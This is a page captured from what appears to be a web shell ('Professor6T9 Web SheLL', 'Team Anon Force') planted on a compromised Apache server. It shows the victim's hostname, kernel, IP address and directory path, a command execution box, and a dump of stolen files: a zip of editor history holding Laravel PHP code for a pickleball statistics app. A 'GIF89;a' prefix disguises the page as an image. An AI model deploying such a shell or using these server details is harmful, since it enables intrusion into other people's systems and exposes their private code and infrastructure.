GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
home
/
portfolio
/
public_html
/
private
[ HOME ]
Exec
Submit
User.zip
PK �6fZru�[� � globalStorage/storage.jsonnu �Iw�� { "userDataProfilesMigration": true, "profileAssociations": { "workspaces": {}, "emptyWindows": {} }, "profileAssociationsMigration": true }PK �6fZ��W� � History/20b28ac5/4hOt.phpnu �Iw�� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('player_states', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('player_id')->nullable(); $table->unsignedBigInteger('log_id')->nullable(); $table->string('player_name')->nullable(); $table->integer('at_attempts')->nullable(); $table->integer('winners')->nullable(); $table->integer('saves')->nullable(); $table->integer('serves')->nullable(); $table->integer('service_aces')->nullable(); $table->integer('service_errors')->nullable(); $table->decimal('serve_percentage', 5, 2)->nullable(); $table->decimal('lifetime_serve_percentage', 5, 2)->nullable(); $table->integer('hits')->nullable(); $table->decimal('hits_average', 5, 2)->nullable(); $table->integer('errors')->nullable(); $table->decimal('errors_percentage', 5, 2)->nullable(); $table->integer('volley_hits')->nullable(); $table->integer('volley_hit_errors')->nullable(); $table->decimal('volley_hit_error_percentage', 5, 2)->nullable(); $table->integer('pop_ups')->nullable(); $table->decimal('pop_up_percentage', 5, 2)->nullable(); $table->decimal('shot_quality_average', 5, 2)->nullable(); $table->foreign('player_id')->references('id')->on('users')->onDelete('cascade'); $table->foreign('log_id')->references('id')->on('logs')->onDelete('cascade'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('player_states'); } }; PK �6fZ�5� History/20b28ac5/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/database/migrations/2024_12_05_115924_create_player_states_table.php","entries":[{"id":"4hOt.php","timestamp":1734518317852}]}PK �6fZ|�:�� �� History/-68b100b8/fwxa.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class PlayerStateJsonController extends Controller { public function jsonPlayerState(Request $request) { // dd(auth()->user()); $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } // log create $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // $data = collect($data); // dd($data->keys()); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); // $players = collect(); // foreach($request['player_id'] as $key => $player_id) // { // $user = User::find($player_id); // $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; // $players->push($player); // } // Iterate through each player and calculate stats if (!empty($request->index) && empty($request->player_id)) { // dd("index"); foreach ($request->index as $key => $index) { // dd($request->player_id); // Delete existing records for the player PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); PlayerState::create([ 'json_player_id' => $key + 1, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && empty($request->index)) { // dd("player_id"); $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // Iterate through each player and calculate stats dd($players); foreach ($players as $player_id) { // dd($player_id); // Delete existing records for the player PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && !empty($request->index)) { // random players if(!empty($request->index)){ foreach ($request->index as $key => $index) { // dd($request->index); // Delete existing records for the player // PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); $indexNumber =$key + 1; PlayerState::create([ 'json_player_id' => $indexNumber, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } //players from database if(!empty($request['player_id'])){ $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // dd($players); // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player // PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ�>�� � History/-68b100b8/xpzR.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class PlayerStateJsonController extends Controller { public function jsonPlayerState(Request $request) { // dd(auth()->user()); $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } // log create $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // $data = collect($data); // dd($data->keys()); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); // $players = collect(); // foreach($request['player_id'] as $key => $player_id) // { // $user = User::find($player_id); // $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; // $players->push($player); // } // Iterate through each player and calculate stats if (!empty($request->index) && empty($request->player_id)) { // dd("index"); foreach ($request->index as $key => $index) { // dd($request->player_id); // Delete existing records for the player PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); PlayerState::create([ 'json_player_id' => $key + 1, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && empty($request->index)) { // dd("player_id"); $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $player_id = $player; // $players->push($player); // } // // Iterate through each player and calculate stats // foreach ($players as $player_id) { // dd($player_id); // Delete existing records for the player PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && !empty($request->index)) { // random players if(!empty($request->index)){ foreach ($request->index as $key => $index) { // dd($request->index); // Delete existing records for the player // PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // 